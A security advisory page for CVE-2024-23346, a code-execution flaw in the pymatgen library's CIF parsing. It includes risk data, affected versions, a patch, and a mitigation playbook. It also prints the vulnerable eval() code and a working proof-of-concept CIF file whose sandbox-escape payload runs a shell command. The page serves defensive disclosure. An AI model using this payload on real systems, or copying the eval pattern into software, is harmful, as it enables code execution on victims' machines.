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CRITICAL severity

CVE-2024-23346 — pymatgen

CRITICALFix: materialsproject/pymatgen@c231cbd

CVE-2024-23346 is a critical-severity (CVSS 9.3) CWE-77 vulnerability in pymatgen. 4 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for pymatgen — see the affected versions and patch details below.

pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string

Also known asGHSA-vgv8-5cpj-qj2fPYSEC-2024-226
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
4 known
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-23346.

EPSS Exploitation Probability

via FIRST.org ↗
3.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs90th percentile — riskier than 90% of all scored CVEsHighest risk
0.00%23.4%46.8%70.2%48.5%3.8%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍pymatgen

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.

Details

The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().

Vulnerable code

basis_change = [
    re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
    for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])

The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.

PoC

The vulnerability can be exploited as follows:

Create a file vuln.cif with the following contents:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Then, parse the cif file with the following code:

from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()

Credits

This vulnerability was found and disclosed by William Khem-Marquez.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpymatgenall versions2024.2.20pip install --upgrade 'pymatgen==2024.2.20'

Affected Products

1 product · 1 configurations
Application
pymatgenmaterialsvirtuallab
< 2024.2.20
range
Exploits & PoCs
4

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

EDB-52205remotepython

Pymatgen 2024.1 - Remote Code Execution (RCE)

by Mohammed Idrees Banyamer · Apr 15, 2025

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pymatgen, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pymatgen to 2024.2.20 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-23346 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file. ### Details The cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular express
O3 Security · Impact-Aware SCA

Is CVE-2024-23346 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2024-23346: pymatgen RCE — Fixed in 2024.2.20